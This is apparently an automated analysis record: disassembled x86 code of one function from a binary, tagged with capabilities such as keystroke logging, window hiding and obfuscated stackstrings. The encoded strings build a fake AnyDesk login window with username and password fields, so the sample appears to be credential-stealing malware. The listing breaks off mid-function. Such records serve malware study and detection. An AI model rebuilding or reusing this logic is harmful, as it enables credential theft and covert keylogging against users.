Function at 0x409b60
Capabilities:
Contain obfuscated stackstrings
Get graphical window text
Hide graphical window
Log keystrokes via application hook
Log keystrokes via polling
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e86f
mov eax, dword fs:[0]
push eax
mov eax, 0x5198
call fcn.0041dbd0
mov eax, dword [0x429008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0x65
push esi
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x10
push 0x20
push 0x20
push 1
push str.ResourceAnyDesk.ico
push 0
mov dword [ebp - 0x50d0], eax
call dword [sym.imp.USER32.dll_LoadImageW]
movaps xmm0, xmmword [0x4258c0]
lea edx, [ebp - 0x45e0]
push eax
movups xmmword [ebp - 0x45d4], xmm0
lea edi, [edx + 1]
sub esp, 0x18
movaps xmm0, xmmword [0x425950]
mov ecx, esp
movups xmmword [ebp - 0x45c4], xmm0
mov dword [ebp - 0x45b4], 0x4f
mov dword [ebp - 0x45b0], 0x79
mov dword [ebp - 0x45e0], 0x6e69616d
mov dword [ebp - 0x45dc], 0x646e6957
mov word [ebp - 0x45d8], 0x776f
mov byte [ebp - 0x45d6], 0
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x409c30
sub edx, edi
lea eax, [ebp - 0x45e0]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov ecx, 0x405850
call fcn.004036c0
movaps xmm0, xmmword [0x425a60]
lea ecx, [ebp - 0x42c4]
add esp, 0x1c
mov dword [ebp - 0x42ac], 0x66
movups xmmword [ebp - 0x42bc], xmm0
mov dword [ebp - 0x42a8], 0x2d
lea edi, [ecx + 1]
mov dword [ebp - 0x42a4], 5
push 0x8c
sub esp, 0x18
mov dword [ebp - 0x42c4], 0x44796e41
mov edx, esp
mov dword [ebp - 0x42c0], 0x6b7365
mov dword [ebp - 0x50d4], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409cc2
sub ecx, edi
lea eax, [ebp - 0x42c4]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x4614]
movaps xmm0, xmmword [0x425e90]
lea edi, [ecx + 1]
sub esp, 0x18
mov dword [ebp - 0x45e8], 0x5c
movups xmmword [ebp - 0x4608], xmm0
mov edx, esp
mov dword [ebp - 0x45e4], 0x3b
movaps xmm0, xmmword [0x4259b0]
movups xmmword [ebp - 0x45f8], xmm0
mov dword [ebp - 0x4614], 0x6e69616d
mov dword [ebp - 0x4610], 0x646e6957
mov word [ebp - 0x460c], 0x776f
mov byte [ebp - 0x460a], 0
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [ebp - 0x50e0], esp
mov dword [edx + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409d60
sub ecx, edi
lea eax, [ebp - 0x4614]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x446c]
movaps xmm0, xmmword [0x425ec0]
lea edx, [ecx + 1]
sub esp, 0x18
mov dword [ebp - 0x4454], 0x44
mov edi, esp
mov dword [ebp - 0x446c], 0x646e7768
movups xmmword [ebp - 0x4464], xmm0
mov word [ebp - 0x4468], 0x31
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409dd0
sub ecx, edx
lea eax, [ebp - 0x446c]
push ecx
push eax
mov ecx, edi
call fcn.0040fa60
mov edx, 0xaa
mov dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.00403830
add esp, 0x4c
push 0xb4d6ff
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
movaps xmm0, xmmword [0x425590]
lea ecx, [ebp - 0x4450]
mov dword [ebp - 0x4120], 0
lea edx, [ecx + 1]
mov edi, eax
mov dword [ebp - 0x4438], 0x2d
movups xmmword [ebp - 0x4448], xmm0
mov dword [ebp - 0x4450], 0x646e7768
mov word [ebp - 0x444c], 0x31
mov dword [ebp - 0x4110], 0
mov dword [ebp - 0x410c], 0xf
mov byte [ebp - 0x4120], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409e64
sub ecx, edx
lea eax, [ebp - 0x4450]
push ecx
push eax
lea ecx, [ebp - 0x4120]
call fcn.0040fa60
lea eax, [ebp - 0x4120]
mov dword [ebp - 4], 2
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push edi
mov edi, dword [sym.imp.USER32.dll_SetClassLongW]
push 0xfffffffffffffff6
push dword [eax]
call edi
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x410c]
cmp edx, 0x10
jb 0x409ee6
mov ecx, dword [ebp - 0x4120]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409edc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425e30]
lea ecx, [ebp - 0x4434]
mov dword [ebp - 0x40c0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4110], 0
mov dword [ebp - 0x410c], 0xf
mov byte [ebp - 0x4120], 0
movups xmmword [ebp - 0x442c], xmm0
mov dword [ebp - 0x441c], 0x77
mov dword [ebp - 0x4434], 0x646e7768
mov word [ebp - 0x4430], 0x31
mov dword [ebp - 0x40b0], 0
mov dword [ebp - 0x40ac], 0xf
mov byte [ebp - 0x40c0], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409f60
sub ecx, edx
lea eax, [ebp - 0x4434]
push ecx
push eax
lea ecx, [ebp - 0x40c0]
call fcn.0040fa60
lea eax, [ebp - 0x40c0]
mov dword [ebp - 4], 3
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push dword [ebp - 0x50d0]
push 0xfffffffffffffff2
push dword [eax]
call edi
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x40ac]
cmp edx, 0x10
jb 0x409fe1
mov ecx, dword [ebp - 0x40c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409fd7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
push 0x10
push 0x20
push 0x20
push 1
push str.ResourceAnyDesk.ico
push 0
mov dword [ebp - 0x40b0], 0
mov dword [ebp - 0x40ac], 0xf
mov byte [ebp - 0x40c0], 0
call dword [sym.imp.USER32.dll_LoadImageW]
xorps xmm0, xmm0
mov dword [ebp - 0x4b34], 0
movq qword [ebp - 0x4b3c], xmm0
mov edi, 0x7f
movaps xmm0, xmmword [0x425650]
xor ecx, ecx
movups xmmword [ebp - 0x4b2c], xmm0
push eax
movaps xmm0, xmmword [0x425de0]
movups xmmword [ebp - 0x4b1c], xmm0
mov byte [ebp - 0x4b30], 0
movaps xmm0, xmmword [0x4257c0]
movups xmmword [ebp - 0x4b0c], xmm0
mov dword [ebp - 0x50d4], edi
nop word [eax + eax]
mov eax, dword [ebp + ecx*4 - 0x4b2c]
sub eax, 0x30
lea eax, [eax + eax*8]
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x4b3c], dl
inc ecx
cmp ecx, 0xc
jb 0x40a070
sub esp, 0x18
mov byte [ebp - 0x4b30], 0
mov ecx, esp
lea edx, [ebp - 0x4b3c]
lea edi, [edx + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40a0c0
sub edx, edi
lea eax, [ebp - 0x4b3c]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov ecx, 0x407e80
call fcn.004036c0
movaps xmm0, xmmword [0x425470]
lea ecx, [ebp - 0x42a0]
add esp, 0x1c
mov dword [ebp - 0x4288], 0x7c
movups xmmword [ebp - 0x4298], xmm0
mov dword [ebp - 0x4284], 3
lea edi, [ecx + 1]
mov dword [ebp - 0x4280], 0x36
push 0x6e
sub esp, 0x18
mov dword [ebp - 0x42a0], 0x44796e41
mov edx, esp
mov dword [ebp - 0x429c], 0x6b7365
mov dword [ebp - 0x50c8], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a150
sub ecx, edi
lea eax, [ebp - 0x42a0]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov dword [ebp - 4], 4
xorps xmm0, xmm0
movq qword [ebp - 0x4b7c], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x425800]
movups xmmword [ebp - 0x4b6c], xmm0
mov dword [ebp - 0x4b74], 0
movaps xmm0, xmmword [0x425d90]
lea edi, [ecx + 0x7f]
movups xmmword [ebp - 0x4b5c], xmm0
mov byte [ebp - 0x4b70], 0
movaps xmm0, xmmword [0x425b80]
movups xmmword [ebp - 0x4b4c], xmm0
nop word [eax + eax]
mov eax, dword [ebp + ecx*4 - 0x4b6c]
sub eax, 0x7a
lea eax, [eax + eax*2]
shl eax, 2
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x4b7c], dl
inc ecx
cmp ecx, 0xc
jb 0x40a1c0
sub esp, 0x18
mov byte [ebp - 0x4b70], 0
mov edx, esp
mov dword [ebp - 0x50e0], esp
lea ecx, [ebp - 0x4b7c]
lea edi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a215
sub ecx, edi
lea eax, [ebp - 0x4b7c]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4418]
movaps xmm0, xmmword [0x425790]
lea edx, [ecx + 1]
sub esp, 0x18
mov dword [ebp - 0x4400], 0x5d
mov edi, esp
mov dword [ebp - 0x4418], 0x646e7768
movups xmmword [ebp - 0x4410], xmm0
mov word [ebp - 0x4414], 0x32
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a280
sub ecx, edx
lea eax, [ebp - 0x4418]
push ecx
push eax
mov ecx, edi
call fcn.0040fa60
mov edx, 0xd2
mov dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.00403830
add esp, 0x4c
push 0xfcfce0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
movaps xmm0, xmmword [0x425b00]
lea ecx, [ebp - 0x43fc]
mov dword [ebp - 0x4258], 0
lea edx, [ecx + 1]
mov edi, eax
mov dword [ebp - 0x43e4], 1
movups xmmword [ebp - 0x43f4], xmm0
mov dword [ebp - 0x43fc], 0x646e7768
mov word [ebp - 0x43f8], 0x32
mov dword [ebp - 0x4248], 0
mov dword [ebp - 0x4244], 0xf
mov byte [ebp - 0x4258], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a314
sub ecx, edx
lea eax, [ebp - 0x43fc]
push ecx
push eax
lea ecx, [ebp - 0x4258]
call fcn.0040fa60
lea eax, [ebp - 0x4258]
mov dword [ebp - 4], 6
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push edi
mov edi, dword [sym.imp.USER32.dll_SetClassLongW]
push 0xfffffffffffffff6
push dword [eax]
call edi
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x4244]
cmp edx, 0x10
jb 0x40a396
mov ecx, dword [ebp - 0x4258]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a38c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425740]
lea ecx, [ebp - 0x43e0]
mov dword [ebp - 0x40d8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4248], 0
mov dword [ebp - 0x4244], 0xf
mov byte [ebp - 0x4258], 0
movups xmmword [ebp - 0x43d8], xmm0
mov dword [ebp - 0x43c8], 0x44
mov dword [ebp - 0x43e0], 0x646e7768
mov word [ebp - 0x43dc], 0x32
mov dword [ebp - 0x40c8], 0
mov dword [ebp - 0x40c4], 0xf
mov byte [ebp - 0x40d8], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a410
sub ecx, edx
lea eax, [ebp - 0x43e0]
push ecx
push eax
lea ecx, [ebp - 0x40d8]
call fcn.0040fa60
lea eax, [ebp - 0x40d8]
mov dword [ebp - 4], 7
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push dword [ebp - 0x50d0]
push 0xfffffffffffffff2
push dword [eax]
call edi
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x40c4]
cmp edx, 0x10
jb 0x40a491
mov ecx, dword [ebp - 0x40d8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a487
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425770]
lea ecx, [ebp - 0x4488]
mov dword [ebp - 0x40f0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x40c8], 0
mov dword [ebp - 0x40c4], 0xf
mov byte [ebp - 0x40d8], 0
movups xmmword [ebp - 0x4480], xmm0
mov dword [ebp - 0x4470], 0x36
mov dword [ebp - 0x4488], 0x646e7768
mov word [ebp - 0x4484], 0x31
mov dword [ebp - 0x40e0], 0
mov dword [ebp - 0x40dc], 0xf
mov byte [ebp - 0x40f0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a505
sub ecx, edx
lea eax, [ebp - 0x4488]
push ecx
push eax
lea ecx, [ebp - 0x40f0]
call fcn.0040fa60
lea eax, [ebp - 0x40f0]
mov dword [ebp - 4], 8
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
movaps xmm0, xmmword [0x425670]
lea ecx, [ebp - 0x470c]
push 0x14
push 0xc8
push 0xc
push 0x11
push eax
sub esp, 0x18
mov dword [ebp - 0x46e0], 0x77
movups xmmword [ebp - 0x4700], xmm0
lea edi, [ecx + 1]
mov edx, esp
movaps xmm0, xmmword [0x425bc0]
movups xmmword [ebp - 0x46f0], xmm0
mov dword [ebp - 0x470c], 0x72657355
mov dword [ebp - 0x4708], 0x656d616e
mov word [ebp - 0x4704], 0x3a
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [ebp - 0x50cc], esp
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a5b0
sub ecx, edi
lea eax, [ebp - 0x470c]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 9
lea edx, [ebp - 0x473c]
movaps xmm0, xmmword [0x425f90]
lea edi, [edx + 1]
movups xmmword [ebp - 0x4730], xmm0
sub esp, 0x18
mov dword [ebp - 0x4710], 0x1d
movaps xmm0, xmmword [0x425fb0]
mov ecx, esp
movups xmmword [ebp - 0x4720], xmm0
mov dword [ebp - 0x473c], 0x6562616c
mov dword [ebp - 0x4738], 0x6573756c
mov word [ebp - 0x4734], 0x72
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40a631
sub edx, edi
lea eax, [ebp - 0x473c]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 8
xor ecx, ecx
call fcn.00403a10
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x40dc]
cmp edx, 0x10
jb 0x40a698
mov ecx, dword [ebp - 0x40f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a68e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425fa0]
lea ecx, [ebp - 0x43c4]
mov dword [ebp - 0x4108], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x40e0], 0
mov dword [ebp - 0x40dc], 0xf
mov byte [ebp - 0x40f0], 0
movups xmmword [ebp - 0x43bc], xmm0
mov dword [ebp - 0x43ac], 4
mov dword [ebp - 0x43c4], 0x646e7768
mov word [ebp - 0x43c0], 0x31
mov dword [ebp - 0x40f8], 0
mov dword [ebp - 0x40f4], 0xf
mov byte [ebp - 0x4108], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a710
sub ecx, edx
lea eax, [ebp - 0x43c4]
push ecx
push eax
lea ecx, [ebp - 0x4108]
call fcn.0040fa60
lea eax, [ebp - 0x4108]
mov dword [ebp - 4], 0xa
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
movaps xmm0, xmmword [0x425710]
lea ecx, [ebp - 0x476c]
push 0x14
push 0xc8
push 0x2d
push 0x13
push eax
sub esp, 0x18
mov dword [ebp - 0x4740], 0x3c
movups xmmword [ebp - 0x4760], xmm0
lea edi, [ecx + 1]
mov edx, esp
movaps xmm0, xmmword [0x425e40]
movups xmmword [ebp - 0x4750], xmm0
mov dword [ebp - 0x476c], 0x73736150
mov dword [ebp - 0x4768], 0x64726f77
mov word [ebp - 0x4764], 0x3a
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [ebp - 0x50cc], esp
mov dword [edx + 0x14], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a7c0
sub ecx, edi
lea eax, [ebp - 0x476c]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0xb
lea edx, [ebp - 0x46dc]
movaps xmm0, xmmword [0x425860]
lea edi, [edx + 1]
movups xmmword [ebp - 0x46d0], xmm0
sub esp, 0x18
mov dword [ebp - 0x46b0], 0x6c
movaps xmm0, xmmword [0x425e50]
mov ecx, esp
movups xmmword [ebp - 0x46c0], xmm0
mov dword [ebp - 0x46dc], 0x6562616c
mov dword [ebp - 0x46d8], 0x7361706c
mov word [ebp - 0x46d4], 0x73
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40a841
sub edx, edi
lea eax, [ebp - 0x46dc]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0xa
xor ecx, ecx
call fcn.00403a10
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x40f4]
cmp edx, 0x10
jb 0x40a8a8
mov ecx, dword [ebp - 0x4108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a89e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425c80]
lea ecx, [ebp - 0x4514]
mov dword [ebp - 0x4138], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x40f8], 0
mov dword [ebp - 0x40f4], 0xf
mov byte [ebp - 0x4108], 0
movups xmmword [ebp - 0x450c], xmm0
mov dword [ebp - 0x44fc], 0x7b
mov dword [ebp - 0x4514], 0x646e7768
mov word [ebp - 0x4510], 0x31
mov dword [ebp - 0x4128], 0
mov dword [ebp - 0x4124], 0xf
mov byte [ebp - 0x4138], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a920
sub ecx, edx
lea eax, [ebp - 0x4514]
push ecx
push eax
lea ecx, [ebp - 0x4138]
call fcn.0040fa60
lea eax, [ebp - 0x4138]
mov dword [ebp - 4], 0xc
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push 0x14
push 0x41
push 9
push 0x48
push dword [eax]
mov byte [ebp - 0x50d8], 0
lea ecx, [ebp - 0x50d8]
sub esp, 0x18
lea edi, [ecx + 1]
mov edx, esp
mov dword [ebp - 0x50cc], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a990
sub ecx, edi
lea eax, [ebp - 0x50d8]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x47f8]
movaps xmm0, xmmword [0x425990]
lea edi, [edx + 1]
movups xmmword [ebp - 0x47ec], xmm0
sub esp, 0x18
mov dword [ebp - 0x47f8], 0x74696465
movaps xmm0, xmmword [0x425780]
mov ecx, esp
movups xmmword [ebp - 0x47dc], xmm0
mov dword [ebp - 0x47f4], 0x72657375
mov byte [ebp - 0x47f0], 0
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40aa05
sub edx, edi
lea eax, [ebp - 0x47f8]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0xc
mov ecx, 0x68
call fcn.00403ca0
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x4124]
cmp edx, 0x10
jb 0x40aa6f
mov ecx, dword [ebp - 0x4138]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40aa65
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425bf0]
lea ecx, [ebp - 0x43a8]
mov dword [ebp - 0x4150], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4128], 0
mov dword [ebp - 0x4124], 0xf
mov byte [ebp - 0x4138], 0
movups xmmword [ebp - 0x43a0], xmm0
mov dword [ebp - 0x4390], 0x18
mov dword [ebp - 0x43a8], 0x646e7768
mov word [ebp - 0x43a4], 0x31
mov dword [ebp - 0x4140], 0
mov dword [ebp - 0x413c], 0xf
mov byte [ebp - 0x4150], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aae3
sub ecx, edx
lea eax, [ebp - 0x43a8]
push ecx
push eax
lea ecx, [ebp - 0x4150]
call fcn.0040fa60
lea eax, [ebp - 0x4150]
mov dword [ebp - 4], 0xe
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push 0x14
push 0x41
push 0x2a
push 0x48
push dword [eax]
mov byte [ebp - 0x50dc], 0
lea ecx, [ebp - 0x50dc]
sub esp, 0x18
lea edi, [ecx + 1]
mov edx, esp
mov dword [ebp - 0x50cc], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ab50
sub ecx, edi
lea eax, [ebp - 0x50dc]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0xf
lea edx, [ebp - 0x487c]
movaps xmm0, xmmword [0x425730]
lea edi, [edx + 1]
movups xmmword [ebp - 0x4870], xmm0
sub esp, 0x18
mov dword [ebp - 0x487c], 0x74696465
movaps xmm0, xmmword [0x425930]
mov ecx, esp
movups xmmword [ebp - 0x4860], xmm0
mov dword [ebp - 0x4878], 0x73736170
mov byte [ebp - 0x4874], 0
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40abc5
sub edx, edi
lea eax, [ebp - 0x487c]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0xe
mov ecx, 0x69
call fcn.00403ca0
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x413c]
cmp edx, 0x10
jb 0x40ac2f
mov ecx, dword [ebp - 0x4150]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ac25
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425580]
lea ecx, [ebp - 0x438c]
mov dword [ebp - 0x4168], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4140], 0
mov dword [ebp - 0x413c], 0xf
mov byte [ebp - 0x4150], 0
movups xmmword [ebp - 0x4384], xmm0
mov dword [ebp - 0x4374], 0x38
mov dword [ebp - 0x438c], 0x646e7768
mov word [ebp - 0x4388], 0x31
mov dword [ebp - 0x4158], 0
mov dword [ebp - 0x4154], 0xf
mov byte [ebp - 0x4168], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aca3
sub ecx, edx
lea eax, [ebp - 0x438c]
push ecx
push eax
lea ecx, [ebp - 0x4168]
call fcn.0040fa60
lea eax, [ebp - 0x4168]
mov dword [ebp - 4], 0x10
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
movaps xmm0, xmmword [0x425a70]
lea ecx, [ebp - 0x4370]
push 0x19
push 0x78
push 0x45
push 0x11
push dword [eax]
movups xmmword [ebp - 0x4368], xmm0
sub esp, 0x18
mov dword [ebp - 0x4358], 0x37
mov edx, esp
mov dword [ebp - 0x4370], 0x69676f4c
mov word [ebp - 0x436c], 0x6e
lea edi, [ecx + 1]
mov dword [ebp - 0x50cc], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ad34
sub ecx, edi
lea eax, [ebp - 0x4370]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x11
xorps xmm0, xmm0
movq qword [ebp - 0x4914], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4257b0]
movups xmmword [ebp - 0x4908], xmm0
mov dword [ebp - 0x490c], 0
movaps xmm0, xmmword [0x425f50]
lea edi, [ecx + 0x7f]
movups xmmword [ebp - 0x48f8], xmm0
mov dword [ebp - 0x48e8], 0x79
mov dword [ebp - 0x48e4], 0x39
mov dword [ebp - 0x48e0], 0x5f
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp + ecx*4 - 0x4908]
sub eax, 0x54
lea eax, [eax + eax*4]
add eax, eax
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x4914], dl
inc ecx
cmp ecx, 0xb
jb 0x40adb0
sub esp, 0x18
mov byte [ebp - 0x4909], 0
mov ecx, esp
lea edx, [ebp - 0x4914]
lea edi, [edx + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x40ae00
sub edx, edi
lea eax, [ebp - 0x4914]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x10
mov ecx, 0x6a
call fcn.00403b60
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x4154]
cmp edx, 0x10
jb 0x40ae6a
mov ecx, dword [ebp - 0x4168]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ae60
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425640]
lea ecx, [ebp - 0x4824]
movups xmmword [ebp - 0x4818], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x4180], 0
movaps xmm0, xmmword [0x425d70]
mov dword [ebp - 0x4158], 0
mov dword [ebp - 0x4154], 0xf
mov byte [ebp - 0x4168], 0
movups xmmword [ebp - 0x4808], xmm0
mov dword [ebp - 0x4824], 0x74696465
mov dword [ebp - 0x4820], 0x73736170
mov byte [ebp - 0x481c], 0
mov dword [ebp - 0x4170], 0
mov dword [ebp - 0x416c], 0xf
mov byte [ebp - 0x4180], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aef0
sub ecx, edx
lea eax, [ebp - 0x4824]
push ecx
push eax
lea ecx, [ebp - 0x4180]
call fcn.0040fa60
lea eax, [ebp - 0x4180]
mov dword [ebp - 4], 0x12
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push 0
push 0x25cf
push 0xcc
push dword [eax]
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x416c]
cmp edx, 0x10
jb 0x40af79
mov ecx, dword [ebp - 0x4180]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40af6f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x4170], 0
movq qword [ebp - 0x4984], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4259d0]
movups xmmword [ebp - 0x4978], xmm0
mov dword [ebp - 0x416c], 0xf
movaps xmm0, xmmword [0x425b60]
lea edi, [ecx + 0x7f]
mov byte [ebp - 0x4180], 0
